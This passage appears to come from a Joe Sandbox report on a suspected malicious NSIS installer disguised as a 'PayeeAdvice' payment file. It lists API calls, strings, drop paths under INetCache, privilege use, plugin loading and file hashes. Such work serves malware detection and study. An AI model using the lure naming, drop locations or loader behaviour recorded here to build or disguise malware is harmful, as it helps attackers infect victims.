Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-2630189562
Opcode ID: d8beda2cf6d53e1c23663c7b3f0cac31a10eecbcac031cdf32090e7074c6eb08
Instruction ID: 91e47d7dade8a9784fbcad93861d46a8301334ec9f5f2e607ded2091cc9dec5c
Opcode Fuzzy Hash: d8beda2cf6d53e1c23663c7b3f0cac31a10eecbcac031cdf32090e7074c6eb08
Instruction Fuzzy Hash: 04D12671600300ABD720BF719D45B2B3AACEB8174AF00887FF981B62D1DB7D8955876E

Function 00404C7B Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C93
GetDlgItem.USER32(?,00000408), ref: 00404C9E
GlobalAlloc.KERNEL32(?,?), ref: 00404CE8
LoadBitmapW.USER32(0000006E), ref: 00404CFB
SetWindowLongW.USER32(?,?,00405273), ref: 00404D14
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404D28
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D3A
SendMessageW.USER32(?,00001109,00000002), ref: 00404D50
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D5C
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404D6E
DeleteObject.GDI32(00000000), ref: 00404D71
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D9C
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404DA8
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E3E
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E69
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E7D
GetWindowLongW.USER32(?,?), ref: 00404EAC
SetWindowLongW.USER32(?,?,00000000), ref: 00404EBA
ShowWindow.USER32(?,00000005), ref: 00404ECB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FC8
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040502D
SendMessageW.USER32(?,?,00000000,00000000), ref: 00405042
SendMessageW.USER32(?,00000420,00000000,?), ref: 00405066
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405086
ImageList_Destroy.COMCTL32(?), ref: 0040509B
GlobalFree.KERNEL32(?), ref: 004050AB
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405124
SendMessageW.USER32(?,00001102,?,?), ref: 004051CD
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051DC
InvalidateRect.USER32(?,00000000,00000001), ref: 004051FC
ShowWindow.USER32(?,00000000), ref: 0040524A
GetDlgItem.USER32(?,000003FE), ref: 00405255
ShowWindow.USER32(00000000), ref: 0040525C

Strings

N, xrefs: 00404F06
, xrefs: 00405234
M, xrefs: 00404E25

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 7bba4bc50886af6ee4f9e8a9478083b1cbee84b53dc979653cd125d1348ee930
Instruction ID: 9d148378a915bf423124f05431c6d1c5c5454a8af56f3bee09cc42272145c63f
Opcode Fuzzy Hash: 7bba4bc50886af6ee4f9e8a9478083b1cbee84b53dc979653cd125d1348ee930
Instruction Fuzzy Hash: 59026EB0900209EFEB109F54DD85AAE7BB9FB85314F10817AF610BA2E1D7799E41CF58

Function 73401B63 Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 7340121B: GlobalAlloc.KERNEL32(?,?,7340123B,?,734012DF,00000019,734011BE,-000000A0), ref: 73401225

GlobalAlloc.KERNELBASE(?,00001CA4), ref: 73401C6F
lstrcpyW.KERNEL32(00000008,?), ref: 73401CB7
lstrcpyW.KERNEL32(00000808,?), ref: 73401CC1
GlobalFree.KERNEL32(00000000), ref: 73401CD4
GlobalFree.KERNEL32(?), ref: 73401DB6
GlobalFree.KERNEL32(?), ref: 73401DBB
GlobalFree.KERNEL32(?), ref: 73401DC0
GlobalFree.KERNEL32(00000000), ref: 73401FAA
lstrcpyW.KERNEL32(?,?), ref: 73402144
GetModuleHandleW.KERNEL32(00000008), ref: 734021B9
LoadLibraryW.KERNEL32(00000008), ref: 734021CA
GetProcAddress.KERNEL32(?,?), ref: 73402224
lstrlenW.KERNEL32(00000808), ref: 7340223E

Memory Dump Source

Source File: 00000000.00000002.1922689221.0000000073401000.00000020.00000001.01000000.00000004.sdmp, Offset: 73400000, based on PE: true

Associated: 00000000.00000002.1922572339.0000000073400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922818095.0000000073403000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922990212.0000000073405000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 44cc5a1bbeb17e20dba068e74cb29bd2a126c5cab46e7fc9ee0b093065ab5b61
Instruction ID: 66aff1957deedc8e21cdb02d411b13a01e61e3e3d8b8adc4b7859615cba317d0
Opcode Fuzzy Hash: 44cc5a1bbeb17e20dba068e74cb29bd2a126c5cab46e7fc9ee0b093065ab5b61
Instruction Fuzzy Hash: 8D22AB79E04209DFDB198FA4C5807AEB7F5FF04309F1045BED1A6E22C0E7749A828B58

Function 004059A9 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 004059D2
lstrcatW.KERNEL32(007A3F28,\*.*,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A1A
lstrcatW.KERNEL32(?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A3D
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A43
FindFirstFileW.KERNEL32(007A3F28,?,?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A53
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405AF3
FindClose.KERNEL32(00000000), ref: 00405B02

Strings

"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe", xrefs: 004059A9
C:\Users\user\AppData\Local\Temp\, xrefs: 004059B7
\*.*, xrefs: 00405A14
(?z, xrefs: 00405A02

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"$(?z$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1020827038
Opcode ID: 4d5656c0894c7074968c07a7ddfc43275556ff456bdda599b280e6413b0d544d
Instruction ID: 8b5db7531a0f4bb83586dba503ceccc8cbbd7972abfd892cd346515476ce1415
Opcode Fuzzy Hash: 4d5656c0894c7074968c07a7ddfc43275556ff456bdda599b280e6413b0d544d
Instruction Fuzzy Hash: 7D41D830900918A6CF21AB65CC89ABF7678EF82718F14827FF801B11C1D77C5985DE6E

Function 004065DA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,007A4F70,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,00405CBD,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 004065E5
FindClose.KERNEL32(00000000), ref: 004065F1

Strings

C:\Users\user\AppData\Local\Temp\nsj38E6.tmp, xrefs: 004065DA
pOz, xrefs: 004065DB

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsj38E6.tmp$pOz
API String ID: 2295610775-1378314673
Opcode ID: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction ID: b37c022bec08382a0cb03c9db181d2efdea8b1f21deeb05207148622359d6313
Opcode Fuzzy Hash: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction Fuzzy Hash: EFD01231519020AFC2001B38BD0C84B7A589F463307158B3AB4A6F11E4CB788C6296A9

Function 00404243 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000001,0040406E), ref: 00404251

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction ID: 5dee82f2d739acac93035fb571c052082ac1606baee7bb158d490297d0aa81d3
Opcode Fuzzy Hash: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction Fuzzy Hash: 99B09236190A00AADE614B40DE49F457A62A7A8701F00C029B240640B0CAB200A0DB09

Function 00403D35 Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D71
ShowWindow.USER32(?), ref: 00403D8E
DestroyWindow.USER32 ref: 00403DA2
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DBE
GetDlgItem.USER32(?,?), ref: 00403DDF
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403DF3
IsWindowEnabled.USER32(00000000), ref: 00403DFA
GetDlgItem.USER32(?,00000001), ref: 00403EA8
GetDlgItem.USER32(?,00000002), ref: 00403EB2
SetClassLongW.USER32(?,000000F2,?), ref: 00403ECC
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F1D
GetDlgItem.USER32(?,00000003), ref: 00403FC3
ShowWindow.USER32(00000000,?), ref: 00403FE4
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403FF6
EnableWindow.USER32(?,?), ref: 00404011
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404027
EnableMenuItem.USER32(00000000), ref: 0040402E
SendMessageW.USER32(?,?,00000000,00000001), ref: 00404046
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404059
lstrlenW.KERNEL32(007A1F20,?,007A1F20,00000000), ref: 00404083
SetWindowTextW.USER32(?,007A1F20), ref: 00404097
ShowWindow.USER32(?,0000000A), ref: 004041CB

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 47aca452d897ee1c606fef890413e6cfedcb511d419741730bd760ecf5135d2d
Instruction ID: db2580999c41c4fe450d1ee4fd1a55221d51bf0aef153e7307bc2b2ec56299a6
Opcode Fuzzy Hash: 47aca452d897ee1c606fef890413e6cfedcb511d419741730bd760ecf5135d2d
Instruction Fuzzy Hash: 3FC1DEB2504200AFDB206F61ED48E2B3AA8EB9A745F01453FF651B11F0CB399991DB5E

Function 00403987 Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406671: GetModuleHandleA.KERNEL32(?,?,?,004033DE,0000000A), ref: 00406683
Part of subcall function 00406671: GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

GetUserDefaultUILanguage.KERNELBASE(00000002,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00000000), ref: 004039A1

Part of subcall function 004061DE: wsprintfW.USER32 ref: 004061EB

lstrcatW.KERNEL32(1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00000000), ref: 00403A08
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403A88
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000), ref: 00403A9B
GetFileAttributesW.KERNEL32(Call), ref: 00403AA6
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne), ref: 00403AEF
RegisterClassW.USER32(007A79C0), ref: 00403B2C
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 00403B44
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B79
ShowWindow.USER32(00000005,00000000), ref: 00403BAF
GetClassInfoW.USER32(00000000,RichEdit20W,007A79C0), ref: 00403BDB
GetClassInfoW.USER32(00000000,RichEdit,007A79C0), ref: 00403BE8
RegisterClassW.USER32(007A79C0), ref: 00403BF1
DialogBoxParamW.USER32(?,00000000,00403D35,00000000), ref: 00403C10

Strings

"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe", xrefs: 0040398B
Call, xrefs: 00403A4F, 00403A58, 00403A66, 00403AB5, 00403ABB
.exe, xrefs: 00403A95
RichEdit20W, xrefs: 00403BD3, 00403BD9
C:\Users\user\AppData\Local\Temp\, xrefs: 00403993
RichEd32, xrefs: 00403BC3
.DEFAULT\Control Panel\International, xrefs: 004039F3
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 00403A17, 00403A1F, 00403AC2, 00403AC8, 00403AD8
RichEd20, xrefs: 00403BB5
1033, xrefs: 004039A7, 00403A03
Control Panel\Desktop\ResourceLocale, xrefs: 004039BB
RichEdit, xrefs: 00403BE2
_Nb, xrefs: 00403B0B, 00403B73

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-1874819701
Opcode ID: d8c6d654d8461c0bab771826e12c99a28648eabf0d3796c1ab225da277d58302
Instruction ID: fbef4646fbcf09e2f3785bbd11e1a9055ea34cd93d2d0ed92f9d0f486109358d
Opcode Fuzzy Hash: d8c6d654d8461c0bab771826e12c99a28648eabf0d3796c1ab225da277d58302
Instruction Fuzzy Hash: 4D61B434200700AED320AF669D45F2B3A6CEB86745F40857FF941B51E2DB7D6901CB2D

Function 00402EDD Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402EEE
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,00000400,?,00000006,?,0000000A), ref: 00402F0A

Part of subcall function 00405D8D: GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003,?,00000006,?,0000000A), ref: 00405D91
Part of subcall function 00405D8D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,?,0000000A), ref: 00405DB3

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003,?,00000006,?,0000000A), ref: 00402F56

Strings

"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe", xrefs: 00402EDD
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004030B5
Inst, xrefs: 00402FC2
Null, xrefs: 00402FD4
Error launching installer, xrefs: 00402F2D
C:\Users\user\AppData\Local\Temp\, xrefs: 00402EE7
soft, xrefs: 00402FCB
C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe, xrefs: 00402EF4, 00402F03, 00402F17, 00402F37
vy, xrefs: 00402F6B
C:\Users\user\Desktop, xrefs: 00402F38, 00402F3D, 00402F43

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
